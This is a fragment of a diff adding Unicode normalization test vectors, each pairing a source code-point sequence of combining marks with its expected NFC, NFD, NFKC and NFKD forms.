+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0485, 0x0062], NFC: [0x00E0, 0x05AE, 0x0485, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0485, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0485, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0485, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0485, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0485, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0485, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0485, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0485, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0486, 0x0062], NFC: [0x00E0, 0x05AE, 0x0486, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0486, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0486, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0486, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0486, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0486, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0486, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0486, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0486, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0487, 0x0062], NFC: [0x00E0, 0x05AE, 0x0487, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0487, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0487, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0487, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0487, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0487, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0487, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0487, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0487, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0591, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0591, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0591, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0591, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0591, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0591, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0591, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0591, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0591, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0591, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0592, 0x0062], NFC: [0x00E0, 0x05AE, 0x0592, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0592, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0592, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0592, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0592, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0592, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0592, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0592, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0592, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0593, 0x0062], NFC: [0x00E0, 0x05AE, 0x0593, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0593, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0593, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0593, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0593, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0593, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0593, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0593, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0593, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0594, 0x0062], NFC: [0x00E0, 0x05AE, 0x0594, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0594, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0594, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0594, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0594, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0594, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0594, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0594, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0594, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0595, 0x0062], NFC: [0x00E0, 0x05AE, 0x0595, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0595, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0595, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0595, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0595, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0595, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0595, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0595, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0595, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0596, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0596, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0596, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0596, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0596, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0596, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0596, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0596, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0596, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0596, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0597, 0x0062], NFC: [0x00E0, 0x05AE, 0x0597, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0597, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0597, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0597, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0597, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0597, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0597, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0597, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0597, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0598, 0x0062], NFC: [0x00E0, 0x05AE, 0x0598, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0598, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0598, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0598, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0598, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0598, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0598, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0598, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0598, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0599, 0x0062], NFC: [0x00E0, 0x05AE, 0x0599, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0599, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0599, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0599, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0599, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0599, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0599, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0599, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0599, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x302E, 0x059A, 0x0316, 0x059A, 0x0062], NFC: [0x0061, 0x0316, 0x059A, 0x059A, 0x302E, 0x0062], NFD: [0x0061, 0x0316, 0x059A, 0x059A, 0x302E, 0x0062], NFKC: [0x0061, 0x0316, 0x059A, 0x059A, 0x302E, 0x0062], NFKD: [0x0061, 0x0316, 0x059A, 0x059A, 0x302E, 0x0062] },
+{ source: [0x0061, 0x059A, 0x302E, 0x059A, 0x0316, 0x0062], NFC: [0x0061, 0x0316, 0x059A, 0x059A, 0x302E, 0x0062], NFD: [0x0061, 0x0316, 0x059A, 0x059A, 0x302E, 0x0062], NFKC: [0x0061, 0x0316, 0x059A, 0x059A, 0x302E, 0x0062], NFKD: [0x0061, 0x0316, 0x059A, 0x059A, 0x302E, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x059B, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x059B, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x059B, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x059B, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x059B, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059B, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x059B, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x059B, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x059B, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x059B, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x059C, 0x0062], NFC: [0x00E0, 0x05AE, 0x059C, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x059C, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x059C, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x059C, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059C, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x059C, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x059C, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x059C, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x059C, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x059D, 0x0062], NFC: [0x00E0, 0x05AE, 0x059D, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x059D, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x059D, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x059D, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059D, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x059D, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x059D, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x059D, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x059D, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x059E, 0x0062], NFC: [0x00E0, 0x05AE, 0x059E, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x059E, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x059E, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x059E, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059E, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x059E, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x059E, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x059E, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x059E, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x059F, 0x0062], NFC: [0x00E0, 0x05AE, 0x059F, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x059F, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x059F, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x059F, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059F, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x059F, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x059F, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x059F, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x059F, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x05A0, 0x0062], NFC: [0x00E0, 0x05AE, 0x05A0, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x05A0, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x05A0, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x05A0, 0x0315, 0x0062] },
+{ source: [0x0061, 0x05A0, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x05A0, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x05A0, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x05A0, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x05A0, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x05A1, 0x0062], NFC: [0x00E0, 0x05AE, 0x05A1, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x05A1, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x05A1, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x05A1, 0x0315, 0x0062] },
+{ source: [0x0061, 0x05A1, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x05A1, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x05A1, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x05A1, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x05A1, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x05A2, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x05A2, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x05A2, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x05A2, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x05A2, 0x059A, 0x0062] },
+{ source: [0x0061, 0x05A2, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x05A2, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x05A2, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x05A2, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x05A2, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x05A3, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x05A3, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x05A3, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x05A3, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x05A3, 0x059A, 0x0062] },
+{ source: [0x0061, 0x05A3, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x05A3, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x05A3, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x05A3, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x05A3, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x05A4, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x05A4, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x05A4, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x05A4, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x05A4, 0x059A, 0x0062] },
+{ source: [0x0061, 0x05A4, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x05A4, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x05A4, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x05A4, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x05A4, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x05A5, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x05A5, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x05A5, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x05A5, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x05A5, 0x059A, 0x0062] },
+{ source: [0x0061, 0x05A5, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x05A5, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x05A5, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x05A5, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x05A5, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x05A6, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x05A6, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x05A6, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x05A6, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x05A6, 0x059A, 0x0062] },
+{ source: [0x0061, 0x05A6, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x05A6, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x05A6, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x05A6, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x05A6, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x05A7, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x05A7, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x05A7, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x05A7, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x05A7, 0x059A, 0x0062] },
+{ source: [0x0061, 0x05A7, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x05A7, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x05A7, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x05A7, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x05A7, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x05A8, 0x0062], NFC: [0x00E0, 0x05AE, 0x05A8, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x05A8, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x05A8, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x05A8, 0x0315, 0x0062] },
+{ source: [0x0061, 0x05A8, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x05A8, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x05A8, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x05A8, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x05A8, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x05A9, 0x0062], NFC: [0x00E0, 0x05AE, 0x05A9, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x05A9, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x05A9, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x05A9, 0x0315, 0x0062] },
+{ source: [0x0061, 0x05A9, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x05A9, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x05A9, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x05A9, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x05A9, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x05AA, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x05AA, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x05AA, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x05AA, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x05AA, 0x059A, 0x0062] },
+{ source: [0x0061, 0x05AA, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x05AA, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x05AA, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x05AA, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x05AA, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x05AB, 0x0062], NFC: [0x00E0, 0x05AE, 0x05AB, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x05AB, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x05AB, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x05AB, 0x0315, 0x0062] },
+{ source: [0x0061, 0x05AB, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x05AB, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x05AB, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x05AB, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x05AB, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x05AC, 0x0062], NFC: [0x00E0, 0x05AE, 0x05AC, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x05AC, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x05AC, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x05AC, 0x0315, 0x0062] },
+{ source: [0x0061, 0x05AC, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x05AC, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x05AC, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x05AC, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x05AC, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x302E, 0x059A, 0x0316, 0x05AD, 0x0062], NFC: [0x0061, 0x0316, 0x059A, 0x05AD, 0x302E, 0x0062], NFD: [0x0061, 0x0316, 0x059A, 0x05AD, 0x302E, 0x0062], NFKC: [0x0061, 0x0316, 0x059A, 0x05AD, 0x302E, 0x0062], NFKD: [0x0061, 0x0316, 0x059A, 0x05AD, 0x302E, 0x0062] },
+{ source: [0x0061, 0x05AD, 0x302E, 0x059A, 0x0316, 0x0062], NFC: [0x0061, 0x0316, 0x05AD, 0x059A, 0x302E, 0x0062], NFD: [0x0061, 0x0316, 0x05AD, 0x059A, 0x302E, 0x0062], NFKC: [0x0061, 0x0316, 0x05AD, 0x059A, 0x302E, 0x0062], NFKD: [0x0061, 0x0316, 0x05AD, 0x059A, 0x302E, 0x0062] },
+{ source: [0x0061, 0x0300, 0x05AE, 0x1D16D, 0x05AE, 0x0062], NFC: [0x00E0, 0x1D16D, 0x05AE, 0x05AE, 0x0062], NFD: [0x0061, 0x1D16D, 0x05AE, 0x05AE, 0x0300, 0x0062], NFKC: [0x00E0, 0x1D16D, 0x05AE, 0x05AE, 0x0062], NFKD: [0x0061, 0x1D16D, 0x05AE, 0x05AE, 0x0300, 0x0062] },
+{ source: [0x0061, 0x05AE, 0x0300, 0x05AE, 0x1D16D, 0x0062], NFC: [0x00E0, 0x1D16D, 0x05AE, 0x05AE, 0x0062], NFD: [0x0061, 0x1D16D, 0x05AE, 0x05AE, 0x0300, 0x0062], NFKC: [0x00E0, 0x1D16D, 0x05AE, 0x05AE, 0x0062], NFKD: [0x0061, 0x1D16D, 0x05AE, 0x05AE, 0x0300, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x05AF, 0x0062], NFC: [0x00E0, 0x05AE, 0x05AF, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x05AF, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x05AF, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x05AF, 0x0315, 0x0062] },
+{ source: [0x0061, 0x05AF, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x05AF, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x05AF, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x05AF, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x05AF, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x05B1, 0x05B0, 0x094D, 0x05B0, 0x0062], NFC: [0x0061, 0x094D, 0x05B0, 0x05B0, 0x05B1, 0x0062], NFD: [0x0061, 0x094D, 0x05B0, 0x05B0, 0x05B1, 0x0062], NFKC: [0x0061, 0x094D, 0x05B0, 0x05B0, 0x05B1, 0x0062], NFKD: [0x0061, 0x094D, 0x05B0, 0x05B0, 0x05B1, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x05B1, 0x05B0, 0x094D, 0x0062], NFC: [0x0061, 0x094D, 0x05B0, 0x05B0, 0x05B1, 0x0062], NFD: [0x0061, 0x094D, 0x05B0, 0x05B0, 0x05B1, 0x0062], NFKC: [0x0061, 0x094D, 0x05B0, 0x05B0, 0x05B1, 0x0062], NFKD: [0x0061, 0x094D, 0x05B0, 0x05B0, 0x05B1, 0x0062] },
+{ source: [0x0061, 0x05B2, 0x05B1, 0x05B0, 0x05B1, 0x0062], NFC: [0x0061, 0x05B0, 0x05B1, 0x05B1, 0x05B2, 0x0062], NFD: [0x0061, 0x05B0, 0x05B1, 0x05B1, 0x05B2, 0x0062], NFKC: [0x0061, 0x05B0, 0x05B1, 0x05B1, 0x05B2, 0x0062], NFKD: [0x0061, 0x05B0, 0x05B1, 0x05B1, 0x05B2, 0x0062] },
+{ source: [0x0061, 0x05B1, 0x05B2, 0x05B1, 0x05B0, 0x0062], NFC: [0x0061, 0x05B0, 0x05B1, 0x05B1, 0x05B2, 0x0062], NFD: [0x0061, 0x05B0, 0x05B1, 0x05B1, 0x05B2, 0x0062], NFKC: [0x0061, 0x05B0, 0x05B1, 0x05B1, 0x05B2, 0x0062], NFKD: [0x0061, 0x05B0, 0x05B1, 0x05B1, 0x05B2, 0x0062] },
